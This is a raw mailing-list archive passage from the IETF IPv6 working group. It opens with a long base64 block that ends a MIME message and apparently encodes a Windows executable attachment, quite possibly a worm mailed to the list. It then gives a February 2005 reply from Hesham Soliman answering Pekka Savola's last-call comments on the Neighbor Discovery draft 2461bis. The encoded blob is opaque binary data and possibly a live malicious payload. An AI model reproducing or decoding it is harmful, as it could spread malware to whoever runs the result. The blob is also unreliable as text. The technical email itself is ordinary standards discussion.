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 x2+bbQlMpQIMShM= ----------fwepxjqdaktsvxruspmr Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- ----------fwepxjqdaktsvxruspmr-- From ipv6-bounces@ietf.org Thu Feb 10 12:50:05 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA20652 for ; Thu, 10 Feb 2005 12:50:04 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CzImB-0001Hw-Et for ipv6-web-archive@ietf.org; Thu, 10 Feb 2005 13:10:51 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CzIMu-00050N-Qj; Thu, 10 Feb 2005 12:44:44 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CzIH2-000343-Ny for ipv6@megatron.ietf.org; Thu, 10 Feb 2005 12:38:40 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA19687 for ; Thu, 10 Feb 2005 12:38:37 -0500 (EST) Received: from mail.flarion.com ([63.103.94.23] helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CzIb6-0000y8-2T for ipv6@ietf.org; Thu, 10 Feb 2005 12:59:24 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 10 Feb 2005 12:37:59 -0500 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Thu, 10 Feb 2005 12:37:59 -0500 Message-ID: Thread-Topic: IPv6 WG Last Call:draft-ietf-ipv6-2461bis-01.txt Thread-Index: AcToYds1P5ansGNJQ4CtAb2a7HM+iAnMkQ2g From: "Soliman, Hesham" To: "Pekka Savola" X-OriginalArrivalTime: 10 Feb 2005 17:37:59.0917 (UTC) FILETIME=[43A321D0:01C50F97] X-Spam-Score: 0.0 (/) X-Scan-Signature: d890c9ddd0b0a61e8c597ad30c1c2176 Content-Transfer-Encoding: quoted-printable Cc: IPv6 WG Subject: RE: IPv6 WG Last Call:draft-ietf-ipv6-2461bis-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 48472a944c87678fcfe8db15ffecdfff Content-Transfer-Encoding: quoted-printable Pekka, all,=20 Sorry for the delay in resolving this but there were too many comments and too little time! Seems like most of your comments were clearly = addressed by me or other people on the list and most are being put in the next rev = (thanks).=20 But I'm going to address the unresolved ones so far. Please let me know = if I missed any. First of all, we seem to agree that very detailed comments on = implementation are not the best way to go, so I'm leaving out your comment on changing link layer addresses for routers and whether it is implemented. I'm aiming to submit the next rev ASAP (less than a week). Here are the rest: > > > AdvValidLifetime > > > The value to be placed in the Valid > > > Lifetime in the Prefix Information > > > option, in seconds. The > > > designated value > > > of all 1's (0xffffffff) represents > > > infinity. Implementations=20 > MUST allow > > > AdvValidLifetime to be=20 > specified in two > > > ways: > > > > > > - a time that decrements in > > > real time, > > > that is, one that will=20 > result in a > > > Lifetime of zero at=20 > the specified > > > time in the future, or > > > > > > - a fixed time that=20 > stays the same in > > > consecutive advertisements. > > > > > > =3D=3D> AFAIK, the first option has not been implemented; I've > > > at least not seen > > > in done. Therefore unless someone shows that there are two > > > implementations > > > of this, this must be removed. (The same for > > > AdvPreferredLifetime, and a bit > > > in section 6.2.7.) =3D> We were told this is implemented in Solaris I believe. >=20 > > > A proxy MAY multicast Neighbor Advertisements when=20 > its link-layer > > > address changes or when it is configured (by system=20 > management or > > > other mechanisms) to proxy for an address. If there=20 > are multiple > > > nodes that are providing proxy services for the same set > > > of addresses > > > the proxies SHOULD provide a mechanism that prevents > > > multiple proxies > > > from multicasting advertisements for any one=20 > address, in order to > > > reduce the risk of excessive multicast traffic. > > > > > > =3D=3D> does anyone implement this SHOULD? Note that this does = not=20 > > > give hints how to even go about doing that. If not, remove. > > =3D> As mentioned earlier by Erik, this is a requirement on other specs using proxy ND. MIPv6 is an example of such protocol. I think this makes = sense as a requirement. So let's keep it. > > > Inbound load balancing - Nodes with replicated > > > interfaces may want > > > to load balance the reception of incoming=20 > packets across > > > multiple network interfaces on the same=20 > link. Such nodes > > > have multiple link-layer addresses assigned=20 > to the same > > > interface. For example, a single network=20 > driver could > > > represent multiple network interface cards=20 > as a single > > > logical interface having multiple link-layer=20 > addresses. > > > > > > Load balancing is handled by allowing=20 > routers to omit the > > > source link-layer address from Router > > > Advertisement packets, > > > [...] > > > > > > =3D=3D> this is conflicting. The first para discusses=20 > generic inbound=20 > > > load balancing, the second load balancing that applies only to=20 > > > routers w/ RAs. How do hosts perform inbound load balancing?=20 > > > Needs text tweaking.. > > =3D> Erik responded: Leaving the first paragraph as is, since it is basically explaining = the term, and adding something before the second paragraph that "Neighbor = Discovery allows a router to load balance traffic towards itself if the = router has multiple MAC addresses by ..." =3D> I think this is fine so I'll add it to the doc.=20 > > > A router MUST limit the rate at which Redirect messages > > > are sent, in > > > order to limit the bandwidth and processing costs=20 > incurred by the > > > Redirect messages when the source does not correctly > > > respond to the > > > Redirects, or the source chooses to ignore > > > unauthenticated Redirect > > > messages. More details on the rate-limiting of ICMP > > > error messages > > > can be found in [ICMPv6]. > > > > > > =3D=3D> 'or the source chooses to ignore unauthenticated Redirect > > > messages' smells quite a bit from a leftover of IPsec AH > > > times. Reword? > > =3D> I don't see this as a synonym for IPsec, let's not change it. > Unlike in IPv4 Router Discovery the Router Advertisement = messages > do not contain a preference field. The preference field is = not > needed to handle routers of different "stability"; the = Neighbor > Unreachability Detection will detect dead routers and switch = to a > working one. >=20 > =3D=3D> preference has been plugged back, though not for stability=20 > reasons. I'd suggest just removing this paragraph. =3D> Again, we didn't get any agreeing comments and two people=20 disagreed. I think we should leave this in. The rest of your comments will make it to the next revision.=20 thx, Hesham =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain 